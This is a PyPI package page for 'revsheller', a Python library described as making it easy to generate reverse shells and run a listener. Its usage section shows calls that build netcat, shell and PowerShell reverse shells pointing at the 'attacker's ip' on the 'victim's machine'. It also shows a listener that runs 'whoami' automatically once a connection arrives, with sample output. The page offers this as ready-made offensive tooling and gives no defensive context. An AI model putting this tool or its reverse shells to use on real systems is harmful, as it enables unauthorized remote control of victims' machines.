revsheller - Easy to generate reverse shells and build a server
Project description
revsheller - pip revsheller package
Easy to generate reverse shells and build a server.
Note: This package is only for Linux or unix like system.
How to install
Take it easy, just a pip.
How to use
To create reverse shells
>>> import revsheller as rev
>>> rev.generate(os, mode, ip, port=4444, sh=None, nc_path=None)
os - windows / linux
mode - nc:netcat / sh:shell / powershell
ip - attacker's ip address
port - attacker's port
sh - shell of victim's machine, not required
nc_path - netcat path on victim's machine, not required
Example for windows
>>> rev.generate('windows', 'powershell', '127.0.0.1', 4444)
Example for linux / unix
>>> rev.generate('linux', 'sh', '127.0.0.1', 4444, sh='/bin/bash')
To wait a connection
>>> revsheller.wait_for_connection(4444)
listening on [any] 4444 ...
To run a command automaticaly when get response
>>> revsheller.wait_for_connection(4444, 'whoami')
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 54364
ayato
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
revsheller-0.1.0.tar.gz
(3.0 kB
view details)
Built Distribution
File details
Details for the file revsheller-0.1.0.tar.gz
.
File metadata
- Download URL: revsheller-0.1.0.tar.gz
- Upload date:
- Size: 3.0 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/5.1.0 CPython/3.11.8
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | 851ea986913b40186cb903276d375fee3304e0b0980279309e9a00f8ee2b7b9c |
|
MD5 | 457cbb4886badc48ffdf27b843e2a9eb |
|
BLAKE2b-256 | fb5a3d10c1bfcd1973a66322e302981880b5fbd0c0c039a19cc6e242c6048f44 |
File details
Details for the file revsheller-0.1.0-py3-none-any.whl
.
File metadata
- Download URL: revsheller-0.1.0-py3-none-any.whl
- Upload date:
- Size: 3.1 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/5.1.0 CPython/3.11.8
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | a9debdc44b5c95b212e689011d8a577083987c07c0b9c73d2d0e1d654ffb98e2 |
|
MD5 | f692b84e26e65c3288bf800dc3b07afa |
|
BLAKE2b-256 | 80c980d998f1185642454e7bef0af8b4ef52846af2cfb3a7443838716568334d |